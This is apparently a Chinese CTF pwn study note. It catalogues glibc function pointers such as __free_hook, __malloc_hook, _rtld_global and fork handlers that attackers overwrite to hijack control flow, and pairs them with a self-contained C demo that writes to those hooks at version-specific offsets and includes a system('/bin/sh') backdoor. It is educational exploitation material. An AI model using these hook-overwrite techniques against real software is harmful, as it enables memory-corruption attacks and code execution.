CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理

更新中…在内存破坏漏洞的攻击过程中,攻击者的最终目标一般来说是控制流劫持。如果攻击者能获得一个任意地址写(aaw)的能力,则之后的需要做的就是修改的在间接跳转过程中被使用的关键数据。首先能想到的就是函数指针,因为其内容就是间接跳转的目标地址。另外还有可能是对间接跳转的起着间接影响的数据,比如多级指针、数组索引等,不过落到最后仍然是函数指针。攻击大流程走到这步,攻击这个动词的宾语就变成了某个数据、变量、内存位置,比如攻击__free_hook。本文对CTF Pwn题中 常见的 位于libc中的 可以被攻击者利用进行控制流劫持的 函数指针 以及 触发方式 进行了整理。

攻击变量 触发函数
__free_hook free()
__malloc_hook malloc()
__realloc_hook realloc()
__libc_atexit exit()
_rtld_global exit()
prepare_handler fork()
  1. 攻击的数据本身就是函数指针:没啥说的直接改就行。
  2. 攻击数据本身是多级指针,需要多级解引用后才能真正触发到间跳转:攻击多级指针本体并构造指针指向的合法数据,如果直接攻击最终有效的间接跳转,则退化为1。
  3. 攻击数据本身是指针链表的索引:攻击索引,使其索引计算完成后为劫持地址,如果直接攻击指针链表,则退化为1。
# include <stdio.h>
# include <sys/types.h>
# include <sys/stat.h>
# include <fcntl.h>
# include <unistd.h>
# include <sys/mman.h>
# include <string.h>
# include <stdlib.h>

void backdoor(){
    system("/bin/sh");
}

long long * get_addr(char * pattern){
    char buf [0x1000] = {0};
    read(open("/proc/self/maps",0),buf,0x1000);

    char * tmp = strtok(buf, "\n");
    while (tmp)
    {   
        if(strstr(tmp,pattern)){
            long long * leak_addr;
            sscanf(tmp,"%p",&leak_addr);
            return leak_addr;
        }
        tmp = strtok(NULL, "\n");
    }
}

void aaw(long long *addr,long long data){
    * addr = data;
}


void attack_malloc_hook(){
     // address information
     long long   * libc_base   =   get_addr("libc-2.23.so");
     long long     malloc_hook =   0x3c4b10 / 8;

     // attack
     aaw(libc_base + malloc_hook , 0xdeadbeefdeadbeef) ;

     // trigger
     // printf("%s",0x400000); //printf also can trigger malloc
     malloc(10);
     
}
void attack_realloc_hook(){
     // address information
     long long   * libc_base   =   get_addr("libc-2.23.so");
     long long     malloc_hook =   0x3c4b08 / 8;

     // attack
     aaw(libc_base + malloc_hook , 0xdeadbeefdeadbeef) ;

     // trigger
     realloc(0,0);
}
void attack_free_hook(){
    // https://lantern.cool/note-pwn-free-hook/
    // address information
    long long   * libc_base   =   get_addr("libc-2.23.so");
    long long     free_hook   =   0x3c67a8 / 8;

    // attack
    aaw(libc_base + free_hook ,   0xdeadbeefdeadbeef) ;

    // trigger
    free("");
}
void attack_libc_atexit(){
    // https://xz.aliyun.com/t/6260
    // ubuntu version >= 19 

    // address information
    // ubuntu 16.04 glibc 2.23 __libc_atexit 0x3c08d8 read only
    // ubuntu 18.04 glibc 2.27 __libc_atexit 0x3e7738 read only
    long long   * libc_base   =   get_addr("libc-2.31");
    long long     libc_atexit =   0x1ed608 / 8;

    // attack
    aaw(libc_base + libc_atexit , 0xdeadbeefdeadbeef) ;

    // trigger
    exit(0);
}
void attack_rtld_global(){
    //  https://www.cnblogs.com/bhxdn/p/14222558.html
    //  libc-2.23 _rtld_global:0x5f0040   __rtld_lock_lock_recursive: 3848  __rtld_lock_unlock_recursive: 3856
    //  libc-2.27 _rtld_global:0x619060   __rtld_lock_lock_recursive: 3840  __rtld_lock_unlock_recursive: 3848
    //  libc-2.31 _rtld_global:0x23e060   __rtld_lock_lock_recursive: 3848  __rtld_lock_unlock_recursive: 3856

    // address information
    long long   * libc_base      =  get_addr("libc-2.31");
    long long     libc_exit_rtld =  (0x23e060+3848) / 8;

    // attack
    aaw(libc_base + libc_exit_rtld , 0xdeadbeefdeadbeef) ;

    // trigger
    exit(0);
}
void attack_fork_prepare_handler(){
    // https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/14/warmup/
    // prepare: address information and payload ptr
    long long   * libc_base   =   get_addr("libc-2.23.so");
    long long     fork_ptr    =   0x3c9748 / 8;
    long long     payload[6]  =   {0,0xdeadbeefdeadbeef,0,0,0,1};

    // attack
    aaw(libc_base + fork_ptr , payload) ;

    // trigger
    fork();
}

int main(){
    attack_free_hook();
}